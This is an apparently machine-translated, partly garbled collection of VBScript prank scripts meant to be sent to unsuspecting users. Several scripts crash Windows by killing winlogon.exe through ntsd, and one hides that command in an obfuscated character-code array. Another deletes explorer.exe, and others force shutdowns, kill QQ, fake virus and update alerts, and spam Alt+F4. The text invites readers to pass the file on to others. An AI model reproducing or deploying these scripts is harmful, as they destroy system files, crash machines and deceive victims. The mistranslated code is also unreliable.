El primer bucle do msgbox "hi" el segundo Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 bucle el tercero if MsgBox(" Sorry, you se inundó demasiado y necesita reiniciar su computadora.
"&chr(10)&"¿Estás seguro de que deseas reiniciar? ",vbOKCancel+vbInformation,"Reinicie la computadora")=vbCancel luego msgbox "El sistema se reiniciará inmediatamente wow ~_^",,"¡Te han engañado! ! " Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if El cuarto'Este es un vbs muy potente, pantalla azul strs=array(13,105,102,32,77,115,103 ,66,111,120 ,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634 ,34 ,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,- 1513 3,89 ,-13899 ,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33 , 33,32 ,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35 ,-23644 ,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,- 10536,- 16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106, 1 01, 99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,1 01,101 ,112,32,32,32,49,50,48,48,13,10,119,115 ,46,114,117,110,32, 34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32, 45,112,110,32,119,10 5,110,108,111,1 03,111,110,46,101,120,101,32 ,49,62,110,117,108,32,50 ,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) para i=1 a UBound(strs) corredor=corredor&
;chr(strs(i)) next Ejecutar corredor El quinto if MsgBox("¿Eres cabeza de cerdo?",vbYesNo,"Prompt")=vbyes then msgbox "¡Eres SB!" else msgbox "No lo admitas todavía !! Como castigo, pantalla azul, te matarán inmediatamente #￥! @#￥%@……#……?",64,"¡¡¡Advertencia seria!!!!!!!!" Set ws = CreateObject(" Wscript.Shell" ) wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if six Set ws = CreateObject("Wscript.Shell") ws.ejecutar "cmd.exe /c call calc.exe",0 El séptimo conjunto ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript dormir 900 ws.run "cmd.exe /c copiar %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\. explorer .exe" El octavo conjunto ws=WScript.CreateObject("WScript.Shell") ws.popup"Hola a todos, estoy cambiando la atmósfera social, encantando a miles de chicas, estimulando el mercado cinematográfico y mejorando la connotación de los jóvenes. .",10 ,"Brilla en el escenario",64 ws.popup"El árbol de jade está de cara al viento, elegante..."Gulu...Gulu...", lo siento, estaba ansioso y me puse ¡Fuera del camino primero, adiós!",15,"adiós",64 wscript.sleep 100000 ws.popup "Se descubre que las actualizaciones importantes de Windows no están instaladas. El sistema descargará e instalará automáticamente las actualizaciones.", 10 ws. .popup "Descargando actualizaciones de Windows...", 12 wscript.sleep 10000 ws.popup "Las actualizaciones de Windows se han descargado y se están instalando." Instalar actualizaciones...", 12 wscript.sleep 3000 msgbox"El sistema ha detectado que la actualización de WINDOWS contiene un software desconocido comcontroler.exe y está incrustado a la fuerza en su computadora.",4132,"¿Quiere escanearlo? Nombre del software "msgbox": comcontroler.exe "&vbcrlf&""&vbcrlf&" Tamaño: 1,21 MB "&vbcrlf&""&vbcrlf&" Editor: Fantasy, Eternity (403746401) "&vbcrlf&""&vbcrlf&" Estado de seguridad: Virus ",vbinformation msgbox" Hay factores inseguros en comcontroler.exe",4132,"Si se debe impedir su instalación"msgbox"Error al bloquear, verifique si el firewall está activado"wscript.sleep 15000 ws.popup"¡La actualización de Windows se instaló correctamente! ",vbinfmation,20 msgbox"Es posible que su computadora haya sido invadida. Cambie su contraseña de QQ y otra información confidencial lo antes posible para evitar que QQ sea robado o perdido.",vbinformation ws.popup"Jaja, te he controlado.
¡computadora! ",12,"Encantado de conocerte",64 ws.popup"¿No me crees? Usaré tu computadora para abrir mi espacio QQ y mostrarte ",10 ws.run" /index.htm" ws.popup" ¿Lo crees ahora? Abriré tu bloc de notas nuevamente y te escribiré una carta en inglés. ",20 ws.popup" El bloc de notas se abrirá y maximizará. En este momento, no muevas el objetivo a otras ventanas. Mírame escribir la carta. Terminé de escribir.
De lo contrario, ¡no seré responsable de provocar el caos en el sistema! " ws.run "notepad",3 : wscript.sleep 2000 verybat=split("queridos amigos ~, encantado de conocerlos, lo siento, así que lo siento, controlaba su computadora Sin que tú me permitas, por favor, discúlpame, quiero decirte a ti hoy, mis amigos, para que, incluso, a través de nosotros, enfrentemos las dificultades de Hoy y mañana todavía tenemos un sueño. Es un sueño profundamente arraigado en nuestros sueños comunes. Tal vez sea cierto que lo hacemos. No sabemos lo que tenemos hasta que lo perdemos, pero también es cierto que no sabemos lo que hemos sido. ,falta,hasta que llegue,.nos vemos luego,~,con ,los ,mejores ,deseos,~, tuyos,~, lhj",",") el noveno para cada viento en verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"Oh:-(( ⊙ o ⊙ )! Sí, estoy tan cansado que descargué 886",30 ws.popup"No olvides desactivar QQ cuando salgas del plane. Déjame apagar QQ Jaja", 8 ws.run "taskkill /f /im qq.exe" ws.popup "Aún tienes que ir y jugar lentamente", 27 dim WSHshell set WSHshell = wscript.createobject(" wscript.shell") para d=0 a 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("Ingrese la contraseña para desbloquear el apagado") if a="403746401 " then ws.run"shutdown -a" msgbox"Verificación de contraseña exitosa, ¡disfruta lo mejor!" exit do else msgbox"La verificación de contraseña falló, ingresa la contraseña de cierre: 403746401 ",vbretrycancel end if loop ws.popup"Jaja, tenía miedo. ¿Te estás divirtiendo? ¿Crees que es realmente un virus? Jaja O(∩_∩)O~, ¡no soy tan capaz de crear un virus! ",57 ws.popup"(\(^o^)/~ Está bien, te hice una pequeña broma. También puedes enviar este archivo a otras personas para burlarte de ellas.
Jaja^_^",62 wscript.sleep 8900 hacer hasta i=10 i=i+1 msgbox "¡La temperatura de la CPU es demasiado alta y se ha producido un error grave en el sistema! , finalice todas las aplicaciones para enfriar la CPU. ",16+4096," Mensaje del sistema: " wscript.sleep 1000*45 loop El décimo conjunto sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" El undécimo conjunto WSHshell tenue WSHshell = wscript.createobject("wscript.shell") para d=0 a 40 WSHshell.SendKeys "%{F4}" siguiente duodécimo dim a,b,c,s Set fs=CreateObject("Scripting. FileSystemObject") nombre = WScript .ScriptName nombre completo = WScript.ScriptFullName ruta = Reemplazar(nombre completo,nombre,"") a=inputbox("¡Por favor, complete su nombre real en el cuadro de diálogo!"&vbcrlf&""&vbcrlf&"Será más tarde ¡Una sorpresa inesperada para ti! "&vbcrlf&""&vbcrlf&"Si no lo cree, puede intentarlo. "&vbcrlf&""&vbcrlf&"Es mejor tener un nombre chino...", "Rui Zhou le pregunta:", "Por favor, ingrese su nombre aquí". ! nombre") If a = ""Then WScript.Quit End If MyVar=MsgBox ("Su nombre es: "&a&" ",vbYesNo + vbExclamation", Ruizhou pregunta: ") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a =inputbox("¡Por favor, ingresa tu nombre real en el cuadro de diálogo!"&vbcrlf&""&vbcrlf&"¡¡Te daremos una sorpresa inesperada más tarde!! "&vbcrlf&""&vbcrlf&"Si no lo crees, ¡puedes intentarlo! !!!"&vbcrlf& ""&vbcrlf&"El mejor nombre chino...","Ruizhou solicita:","Por favor, introduzca su nombre aquí") If a = ""Entonces WScript.Quit End If End If wscript.sleep 1000b=inputbox ("Estimado"&a&" ¡Hola!"&vbcrlf&""&vbcrlf&"Por favor, indique sus pasatiempos.
(¡Solo complete uno!)","Indicador de Ruizhou:","Ingrese sus pasatiempos aquí") If b = ""Entonces WScript.Quit End If wscript.sleep 1000c = inputbox ("Por favor, hable a continuación Ingrese su fecha de nacimiento en el cuadro [año, mes, día] y la computadora calculará automáticamente cuánto tiempo ha vivido en la tierra hasta ahora "&vbcrlf&""&vbcrlf&"La siguiente columna se puede modificar conmigo como la columna "&vbcrlf&""&Chr(10). ) &"El formato es: 1987-06-02","Ruizhou solicita:","1987-06-02") If c = ""Entonces WScript.Quit End If wscript.sleep 1000age = abs(datediff("d " ,fecha,c)) wscript.sleep 1 actual = ahora() h=datepart("h",actual) n=datepart("n",actual) WScript.Sleep 1000 s = msgbox (Chr(10)&" Felicitaciones, "&a&" ha sobrevivido en la tierra: "&age&"days"&h&"hours"&n&"minutos....",vbOKCancel+63,"Ruizhou Prompt:") si s=2, finalice si Set auto= fs. CreateTextFile("C:\Documentos y configuraciones\Todos los usuarios\Escritorio\"&a&"Secret.vbs",true) auto.WriteLine"MSGBOX"&""""&"Mi nombre es:"&a&" " &""" "&"&vbcrlf&"&""""&""&"""&"&vbcrlf&"&""""&"Mis pasatiempos son:"&B&" "&""""&"&vbcrlf& "&""" "&""&""""&"&vbcrlf&"&""""&""&a&"Ya vivo:"&edad&"días"&h&"horas"&n&"minutos"&"""" &",64," &""""&""&a&"Autopresentación:""" auto.WriteLine"msgbox"&""""&"Dear"&a& " ¡Adiós! "&"""&",48,"&""""&" Ruizhou solicitó: "&""""&"" Establecer auto=fs.CreateTextFile("C:\Documentos y configuraciones\Todos los usuarios\Escritorio \wishes "&a&"Feliz cumpleaños.TXT",true) auto.WriteLine" Yo, Rui Zhou, deseo: "&a&" Feliz cumpleaños, que todos tus deseos se hagan realidad, atrévete a intentarlo con valentía y logra el éxito lo antes posible. .." auto.WriteLine" Has vivido en la tierra: "&edad&"días"&h&"horas"&n&"minutos" auto.WriteLine"El tiempo se basa en tu año de nacimiento
Es posible que el cálculo diario no sea muy preciso, pero el propósito es simplemente hacerle saber que el tiempo pasa rápido, ¡¡¡valore el tiempo!!! "